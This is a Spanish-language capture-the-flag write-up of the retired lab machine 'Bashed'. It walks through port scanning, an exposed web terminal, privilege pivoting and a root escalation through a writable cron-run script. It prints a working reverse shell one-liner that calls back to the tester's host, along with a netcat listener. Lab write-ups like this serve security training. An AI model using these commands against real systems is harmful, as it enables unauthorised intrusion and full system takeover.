Bashed Write-Up

Fecha de lanzamiento09 Dic 2017
EstadoRetirada
DificultadEasy
PlataformaLinux
IP10.10.10.68

Información de la máquina


RECONOCIMIENTO

Realizando un escaneo de puertos abiertos en la máquina Bashed , vemos que únicamente están exponiendo un servidor web en el puerto 80.

map -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.68
nmap -sCV -p80 -oN targeted 10.10.10.68

Vemos que se trata de un servidor Apache, en el que mediante un script de Nmap vamos a realizar una enumeración de directorios disponibles.

nmap --script http-enum -p80 -oN webScan 10.10.10.68

Vemos que la herramienta nos reporta algunos directorios interesantes, entre los que vemos un directorio /dev/ que aloja dos scripts en lenguaje php:

EXPLOTACIÓN

Si nos abrimos el archivo llamado phpbash.php vemos que tenemos una terminal con ejecución remota de comandos en la máquina víctima. Vamos a aprovecharnos de este servicio que nos ofrecen para entablarnos una ReverseShell hacia nuestra máquina local.

# En la terminal web
bash -c "bash -i >%26 /dev/tcp/10.10.14.56/443 0>%261"

# En nuestra máquina local
nc -lvnp 443

Vemos que recibimos una conexión y tenemos una terminal en la máquina víctima. Vamos a convertirla en una TTY mediante el comando python3 -c "import pty;pty.spawn('/bin/bash')"

ESCALADA DE PRIVILEGIOS

Mediante una enumeración simple del sistema, vemos que el usuario www-data puede correr cualquier comando como el usuario scriptmanager sin otorgar contraseña. Gracias a esta configuración, vamos a poder pivotar al ese usuario.

Si enumeramos en el sistema, buscando por archivos y directorios cuyo owner sea el usuario scriptmanager, vemos que hay un directorio scripts con un script en python que pertenecen a este usuario.

Si observamos lo que contiene esta carpeta, podemos ver que el script básicamente crea un archivo de texto y deposita en él un texto gestionado a través del script. Como el owner de este archivo de texto es ROOT, parece que el script está siendo ejecutado mediante una tarea programada por él.

Sabiendo que tenemos permisos de escritura en este script, vamos a modificarlo para que cuando se ejecute (con máximos privilegios), nos asigne el permiso SUID al binario de /bin/bash.

Si monitorizamos el output del comando ls -l /bin/bash cada segundo, vemos que el permiso SUID aparece y podemos spawnear una bash como el usuario ROOT mediante el comando bash -p.

Jorge Escrito por: